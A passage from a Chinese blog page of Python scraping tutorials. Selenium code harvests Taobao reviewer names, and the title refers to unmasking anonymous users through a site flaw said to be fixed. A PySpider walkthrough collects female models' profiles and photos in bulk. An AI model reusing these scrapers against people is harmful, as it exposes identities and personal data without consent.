                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">js = <span class="string">"window.scrollTo(0,document.body.scrollHeight-"</span> + <span class="built_in">str</span>(<span class="built_in">count</span> * <span class="built_in">count</span>* <span class="number">200</span>) + <span class="string">")"</span></span><br><span class="line"><span class="built_in">driver</span>.execute_script(js)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>其中 count 是下拉的次数，经过测试之后，每次拉动距离和 count 是平方关系比较科学，具体不再描述，当然你可以改成自己想要的数值。 嗯，加载出来之后，就可以用</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">driver</span><span class="selector-class">.page_source</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>来获取网页源代码了 用 pyquery 解析即可。</p>
                  <figure class="highlight sqf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">doc = pq(html)</span><br><span class="line"><span class="built_in">items</span> = doc(<span class="string">'#J_TjWaterfall &gt; li'</span>)</span><br><span class="line">print u<span class="string">'分析得到下方宝贝中的用户评论:'</span></span><br><span class="line"><span class="keyword">for</span> item <span class="built_in">in</span> <span class="built_in">items</span>.<span class="built_in">items</span>():</span><br><span class="line">    url = item.<span class="built_in">find</span>(<span class="string">'a'</span>).attr(<span class="string">'href'</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">not</span> url.startswith(<span class="string">'http'</span>):</span><br><span class="line">        url = <span class="string">'https:'</span> + url</span><br><span class="line">    comments_info = []</span><br><span class="line">    comments = item.<span class="built_in">find</span>(<span class="string">'p'</span>).<span class="built_in">items</span>()</span><br><span class="line">    <span class="keyword">for</span> <span class="built_in">comment</span> <span class="built_in">in</span> comments:</span><br><span class="line">        comment_user = <span class="built_in">comment</span>.<span class="built_in">find</span>(<span class="string">'b'</span>).remove().<span class="built_in">text</span>()</span><br><span class="line">        comment_content = <span class="built_in">comment</span>.<span class="built_in">text</span>()</span><br><span class="line">        anonymous_str = config.ANONYMOUS_STR</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">not</span> anonymous_str <span class="built_in">in</span> comment_user:   ＃此句本来用来判断是否匿名，现淘宝已修复该漏洞，只能抓取全部匿名的了</span><br><span class="line">            comments_info.<span class="built_in">append</span>((comment_content, comment_user))</span><br><span class="line">    info.<span class="built_in">append</span>(&#123;<span class="string">'url'</span>: url, <span class="string">'comments_info'</span>: comments_info&#125;)</span><br><span class="line">return info</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>然后保存到 Excel 中。 运行结果截图 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-7@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-7@2x-1024x644.png" alt="QQ20160630-7@2x"></a> 可以发现，另外提供了先登陆后爬取的功能，然后保存了爬取进度。</p>
                  <h3 id="采集链接"><a href="#采集链接" class="headerlink" title="采集链接"></a>采集链接</h3>
                  <p>刚才我们测试的链接是哪里来的？我们不能一个个去找吧？所以，在这里又提供了一个采集链接的过程，将采集的链接保存到文本，然后抓取的时候从文本读取一个个链接即可。 所以在这里我们模拟搜索的过程，关键字让用户输入，将搜索的链接采集下来。 在此 Selenium 模拟了输入文字，点击按钮和翻页的功能。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-4@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-4@2x-1024x789.png" alt="QQ20160630-4@2x"></a> 核心代码如下 下面的方法模拟了加载出搜索框之后输入文字点击回车的过程，将网页的结果返回。</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_results</span><span class="params">(keyword)</span>:</span></span><br><span class="line">    driver = config.DRIVER</span><br><span class="line">    link = config.SEARCH_LINK</span><br><span class="line">    driver.get(link)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        WebDriverWait(driver, config.TIMEOUT).until(</span><br><span class="line">            EC.presence_of_element_located((By.ID, <span class="string">"mq"</span>))</span><br><span class="line">        )</span><br><span class="line">    <span class="keyword">except</span> TimeoutException:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'加载页面失败'</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        element = driver.find_element_by_css_selector(<span class="string">'#mq'</span>)</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'成功找到了搜索框'</span></span><br><span class="line">        keyword = keyword.decode(<span class="string">'utf-8'</span>, <span class="string">'ignore'</span>)</span><br><span class="line">        <span class="keyword">print</span> keyword</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'输入关键字'</span>, keyword</span><br><span class="line">        <span class="keyword">for</span> word <span class="keyword">in</span> keyword:</span><br><span class="line">            <span class="keyword">print</span> word</span><br><span class="line">            element.send_keys(word)</span><br><span class="line">        element.send_keys(Keys.ENTER)</span><br><span class="line">    <span class="keyword">except</span> NoSuchElementException:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'没有找到搜索框'</span></span><br><span class="line">    <span class="keyword">print</span> <span class="string">u'正在查询该关键字'</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        WebDriverWait(driver, config.TIMEOUT).until(</span><br><span class="line">            EC.presence_of_element_located((By.CSS_SELECTOR, <span class="string">"#J_ItemList div.productImg-wrap"</span>))</span><br><span class="line">        )</span><br><span class="line">    <span class="keyword">except</span> TimeoutException:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'查询失败'</span></span><br><span class="line">    html = driver.page_source</span><br><span class="line">    <span class="keyword">return</span> html</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>下面的方法模拟了翻页的过程，到指定的翻页数目为止</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_more_link</span><span class="params">()</span>:</span></span><br><span class="line">    <span class="keyword">print</span> <span class="string">u'正在采集下一页的宝贝链接'</span></span><br><span class="line">    driver = config.DRIVER</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        js = <span class="string">"window.scrollTo(0,document.body.scrollHeight)"</span></span><br><span class="line">        driver.execute_script(js)</span><br><span class="line">    <span class="keyword">except</span> WebDriverException:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'页面下拉失败'</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        next = driver.find_element_by_css_selector(<span class="string">'#content b.ui-page-num &gt; a.ui-page-next'</span>)</span><br><span class="line">        next.click()</span><br><span class="line">    <span class="keyword">except</span> NoSuchElementException:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'找到了翻页按钮'</span></span><br><span class="line">    driver.implicitly_wait(<span class="number">5</span>)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        WebDriverWait(driver, config.TIMEOUT).until(</span><br><span class="line">            EC.presence_of_element_located((By.CSS_SELECTOR, <span class="string">"#J_ItemList div.productImg-wrap"</span>))</span><br><span class="line">        )</span><br><span class="line">    <span class="keyword">except</span> TimeoutException:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">u'查询失败'</span></span><br><span class="line">    html = driver.page_source</span><br><span class="line">    parse_html(html)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果截图 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-5@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-5@2x-608x1024.png" alt="QQ20160630-5@2x"></a> 采集到到内容保存到 urls.txt 中 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-6@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-6@2x-1024x484.png" alt="QQ20160630-6@2x"></a> 嗯，这下采集链接和爬取链接都有了。</p>
                  <h2 id="代码放送"><a href="#代码放送" class="headerlink" title="代码放送"></a>代码放送</h2>
                  <p>扯了这么多，许多童鞋已经蠢蠢欲动了，大声告诉我你们想要的是什么？ 哦没错！代码！ 嗯在这呢！ <a href="https://github.com/Germey/TaobaoUser" target="_blank" rel="noopener">代码</a></p>
                  <h2 id="附加扯淡"><a href="#附加扯淡" class="headerlink" title="附加扯淡"></a>附加扯淡</h2>
                  <p>嗯想说一句，在这里还提供了一些可配置项，比如翻页最大次数，超时时间，下拉次数，登录链接等等。 都可以在 config.py 中配置。</p>
                  <blockquote>
                    <ul>
                      <li>URLS_FILE</li>
                    </ul>
                    <p>保存链接单的文件</p>
                    <ul>
                      <li>OUT_FILE</li>
                    </ul>
                    <p>输出文本EXCEL路径</p>
                    <ul>
                      <li>COUNT_TXT</li>
                    </ul>
                    <p>计数文件</p>
                    <ul>
                      <li>DRIVER</li>
                    </ul>
                    <p>浏览器驱动</p>
                    <ul>
                      <li>TIMEOUT</li>
                    </ul>
                    <p>采集超时时间</p>
                    <ul>
                      <li>MAX_SCROLL_TIME</li>
                    </ul>
                    <p>下拉滚动条最大次数</p>
                    <ul>
                      <li>NOW_URL_COUNT</li>
                    </ul>
                    <p>当前采集到第几个链接</p>
                    <ul>
                      <li>LOGIN_URL</li>
                    </ul>
                    <p>登录淘宝的链接</p>
                    <ul>
                      <li>SEARCH_LINK</li>
                    </ul>
                    <p>采集淘宝链接搜索页面</p>
                    <ul>
                      <li>CONTENT</li>
                    </ul>
                    <p>采集链接临时变量</p>
                    <ul>
                      <li>PAGE</li>
                    </ul>
                    <p>采集淘宝链接翻页数目</p>
                    <ul>
                      <li>FILTER_SHOP</li>
                    </ul>
                    <p>是否过滤相同店铺</p>
                    <ul>
                      <li>ANONYMOUS_STR</li>
                    </ul>
                    <p>匿名用户标志，已失效</p>
                  </blockquote>
                  <p>哦，对了，程序怎么用啊？看 README！</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-06-30 01:06:33" itemprop="dateCreated datePublished" datetime="2016-06-30T01:06:33+08:00">2016-06-30</time>
                </span>
                <span id="/2852.html" class="post-meta-item leancloud_visitors" data-flag-title="Python爬虫实战八之利用Selenium抓取淘宝匿名旺旺" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>5k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>5 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2817.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Other <i class="label-arrow"></i>
                  </a>
                  <a href="/2817.html" class="post-title-link" itemprop="url">Appium学习笔记</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <p>在网上搜了很多关于Appium的教程，但没有系统完整的教程，在网上找了本关于appium的英文书籍，边学边翻译，同时记录学习心得，与志同道合的人一起交流探讨！ 去除很多繁琐的东西，添加自己实践的东西，一起交流，有写错的或者翻译不对的地方，请各位大神指出来，一起交流进步 第一章 Appium的工作原理 1.iOS端 执行测试脚本，发送HTTP请求给Appium Server , Appium Server发送命令给Apple Instruments, Apple Instruments寻找设备，开始执行脚本；每执行一条语句都会原路返回（执行的结果也就是我们常说的log） 2.Android端 首先Appium仅支持安卓版本17或以上版本!如果需要测试17以前版本，需要使用Selendroid.它的工作原理其实与iOS工作原理一样： 执行测试脚本，发送HTTP请求给Appium Server , Appium Server发送命令给UIAutomator(&gt;=17时){Selendroid（&lt;=17）} ，UIAutomator(&gt;=17时){Selendroid（&lt;=17）} 寻找设备，开始执行脚本；每执行一条语句都会原路返回（执行的结果也就是我们常说的log） 备注：执行脚本想要给Appium发送命令，其中必须有一个翻译器，翻译成Appium能识别的命令（Selenium JSON）,这个工具简单理解就是把咱们写的脚本给转换成appium可以识别的命令。</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/路由新定" class="author" itemprop="url" rel="index">路由新定</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-06-30 00:10:42" itemprop="dateCreated datePublished" datetime="2016-06-30T00:10:42+08:00">2016-06-30</time>
                </span>
                <span id="/2817.html" class="post-meta-item leancloud_visitors" data-flag-title="Appium学习笔记" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>626</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>1 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2652.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/2652.html" class="post-title-link" itemprop="url">Python爬虫进阶四之PySpider的用法</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="审时度势"><a href="#审时度势" class="headerlink" title="审时度势"></a>审时度势</h2>
                  <p>PySpider 是一个我个人认为非常方便并且功能强大的爬虫框架，支持多线程爬取、JS动态解析，提供了可操作界面、出错重试、定时爬取等等的功能，使用非常人性化。 本篇内容通过跟我做一个好玩的 PySpider 项目，来理解 PySpider 的运行流程。</p>
                  <h2 id="招兵买马"><a href="#招兵买马" class="headerlink" title="招兵买马"></a>招兵买马</h2>
                  <p>具体的安装过程请查看本节讲述 <a href="http://cuiqingcai.com/2443.html">安装</a> 嗯，安装好了之后就与我大干一番吧。</p>
                  <h2 id="鸿鹄之志"><a href="#鸿鹄之志" class="headerlink" title="鸿鹄之志"></a>鸿鹄之志</h2>
                  <p>我之前写过的一篇文章 <a href="http://cuiqingcai.com/1001.html">抓取淘宝MM照片</a> 由于网页改版，爬取过程中需要的 URL 需要 JS 动态解析生成，所以之前用的 urllib2 不能继续使用了，在这里我们利用 PySpider 重新实现一下。 所以现在我们需要做的是抓取淘宝MM的个人信息和图片存储到本地。</p>
                  <h2 id="审时度势-1"><a href="#审时度势-1" class="headerlink" title="审时度势"></a>审时度势</h2>
                  <p>爬取目标网站：<a href="https://mm.taobao.com/json/request_top_list.htm?page=1" target="_blank" rel="noopener">https://mm.taobao.com/json/request_top_list.htm?page=1</a>，大家打开之后可以看到许多淘宝MM的列表。 列表有多少？ <a href="https://mm.taobao.com/json/request_top_list.htm?page=10000" target="_blank" rel="noopener">https://mm.taobao.com/json/request_top_list.htm?page=10000</a>，第10000页都有，看你想要多少。我什么也不知道。 随机点击一位 MM 的姓名，可以看到她的基本资料。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-4@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-4@2x-1024x750.png" alt="QQ20160326-4@2x"></a> 可以看到图中有一个个性域名，我们复制到浏览器打开。<a href="https://mm.taobao.com/tyy6160" target="_blank" rel="noopener">mm.taobao.com/tyy6160</a> <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-5@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160326-5@2x-1024x576.png" alt="QQ20160326-5@2x"></a> 嗯，往下拖，海量的 MM 图片都在这里了，怎么办你懂得，我们要把她们的照片和个人信息都存下来。 <strong>P.S. 注意图中进度条！你猜有多少图片～</strong></p>
                  <h2 id="利剑出鞘"><a href="#利剑出鞘" class="headerlink" title="利剑出鞘"></a>利剑出鞘</h2>
                  <p>安装成功之后，跟我一步步地完成一个网站的抓取，你就会明白 PySpider 的基本用法了。 命令行下执行</p>
                  <figure class="highlight ada">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">pyspider <span class="keyword">all</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这句命令的意思是，运行 pyspider 并 启动它的所有组件。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/E6632A0A-9067-4B97-93A2-5DEF23FB4CD8.jpg" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/E6632A0A-9067-4B97-93A2-5DEF23FB4CD8-1024x658.jpg" alt="E6632A0A-9067-4B97-93A2-5DEF23FB4CD8"></a> 可以发现程序已经正常启动，并在 5000 这个端口运行。</p>
                  <h2 id="一触即发"><a href="#一触即发" class="headerlink" title="一触即发"></a>一触即发</h2>
                  <p>接下来在浏览器中输入 <a href="http://localhost:5000" target="_blank" rel="noopener">http://localhost:5000</a>，可以看到 PySpider 的主界面，点击右下角的 Create，命名为 taobaomm，当然名称你可以随意取，继续点击 Create。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-0@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-0@2x-1024x397.png" alt="QQ20160325-0@2x"></a> 这样我们会进入到一个爬取操作的页面。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-1@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-1@2x-1024x592.png" alt="QQ20160325-1@2x"></a> 整个页面分为两栏，左边是爬取页面预览区域，右边是代码编写区域。下面对区块进行说明： 左侧绿色区域：这个请求对应的 JSON 变量，在 PySpider 中，其实每个请求都有与之对应的 JSON 变量，包括回调函数，方法名，请求链接，请求数据等等。 绿色区域右上角Run：点击右上角的 run 按钮，就会执行这个请求，可以在左边的白色区域出现请求的结果。 左侧 enable css selector helper: 抓取页面之后，点击此按钮，可以方便地获取页面中某个元素的 CSS 选择器。 左侧 web: 即抓取的页面的实时预览图。 左侧 html: 抓取页面的 HTML 代码。 左侧 follows: 如果当前抓取方法中又新建了爬取请求，那么接下来的请求就会出现在 follows 里。 左侧 messages: 爬取过程中输出的一些信息。 右侧代码区域: 你可以在右侧区域书写代码，并点击右上角的 Save 按钮保存。 右侧 WebDAV Mode: 打开调试模式，左侧最大化，便于观察调试。</p>
                  <h2 id="乘胜追击"><a href="#乘胜追击" class="headerlink" title="乘胜追击"></a>乘胜追击</h2>
                  <p>依然是上一节的那个网址，<a href="https://mm.taobao.com/json/request_top_list.htm?page=1" target="_blank" rel="noopener">https://mm.taobao.com/json/request_top_list.htm?page=1</a>，其中 page 参数代表页码。所以我们暂时抓取前 30 页。页码到最后可以随意调整。 首先我们定义基地址，然后定义爬取的页码和总页码。</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">from pyspider.libs.base_handler import *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Handler</span>(<span class="title">BaseHandler</span>):</span></span><br><span class="line">    crawl_config = &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.base_url = <span class="string">'https://mm.taobao.com/json/request_top_list.htm?page='</span></span><br><span class="line">        <span class="keyword">self</span>.page_num = <span class="number">1</span></span><br><span class="line">        <span class="keyword">self</span>.total_num = <span class="number">30</span></span><br><span class="line"></span><br><span class="line">    @every(minutes=<span class="number">24</span> * <span class="number">60</span>)</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">on_start</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">self</span>.page_num &lt;= <span class="keyword">self</span>.<span class="symbol">total_num:</span></span><br><span class="line">            url = <span class="keyword">self</span>.base_url + str(<span class="keyword">self</span>.page_num)</span><br><span class="line">            print url</span><br><span class="line">            <span class="keyword">self</span>.crawl(url, callback=<span class="keyword">self</span>.index_page)</span><br><span class="line">            <span class="keyword">self</span>.page_num += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    @config(age=<span class="number">10</span> * <span class="number">24</span> * <span class="number">60</span> * <span class="number">60</span>)</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">index_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">for</span> each <span class="keyword">in</span> response.doc(<span class="string">'a[href^="http"]'</span>).items()<span class="symbol">:</span></span><br><span class="line">            <span class="keyword">self</span>.crawl(each.attr.href, callback=<span class="keyword">self</span>.detail_page)</span><br><span class="line"></span><br><span class="line">    @config(priority=<span class="number">2</span>)</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">detail_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="string">"url"</span>: response.url,</span><br><span class="line">            <span class="string">"title"</span>: response.doc(<span class="string">'title'</span>).text(),</span><br><span class="line">        &#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>点击 save 保存代码，然后点击左边的 run，运行代码。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-2@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-2@2x-1024x597.png" alt="QQ20160325-2@2x"></a> 运行后我们会发现 follows 出现了 30 这个数字，说明我们接下来有 30 个新请求，点击可查看所有爬取列表。另外控制台也有输出，将所有要爬取的 URL 打印了出来。 然后我们点击左侧任意一个绿色箭头，可以继续爬取这个页面。例如点击第一个 URL，来爬取这个 URL <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-3@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-3@2x-1024x347.png" alt="QQ20160325-3@2x"></a> 点击之后，再查看下方的 web 页面，可以预览实时页面，这个页面被我们爬取了下来，并且回调到 index_page 函数来处理，目前 index_page 函数我们还没有处理，所以是继续构件了所有的链接请求。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-4@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/03/QQ20160325-4@2x-949x1024.png" alt="QQ20160325-4@2x"></a> 好，接下来我们怎么办？当然是进入到 MM 到个人页面去爬取了。</p>
                  <h2 id="如火如荼"><a href="#如火如荼" class="headerlink" title="如火如荼"></a>如火如荼</h2>
                  <p>爬取到了 MM 的列表，接下来就要进入到 MM 详情页了，修改 index_page 方法。</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index_page</span><span class="params">(<span class="keyword">self</span>, response)</span></span><span class="symbol">:</span></span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> response.doc(<span class="string">'.lady-name'</span>).items()<span class="symbol">:</span></span><br><span class="line">        <span class="keyword">self</span>.crawl(each.attr.href, callback=<span class="keyword">self</span>.detail_page)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>其中 response 就是刚才爬取的列表页，response 其实就相当于列表页的 html 代码，利用 doc 函数，其实是调用了 PyQuery，用 CSS 选择器得到每一个MM的链接，然后重新发起新的请求。 比如，我们这里拿到的 each.attr.href 可能是 <a href="http://mm.taobao.com/self/model_card.htm?user_id=687471686" target="_blank" rel="noopener">mm.taobao.com/self/model_card.htm?user_id=687471686</a>，在这里继续调用了 crawl 方法，代表继续抓取这个链接的详情。</p>
                  <figure class="highlight oxygene">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">self</span>.crawl(<span class="keyword">each</span>.attr.href, callback=<span class="keyword">self</span>.detail_page)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
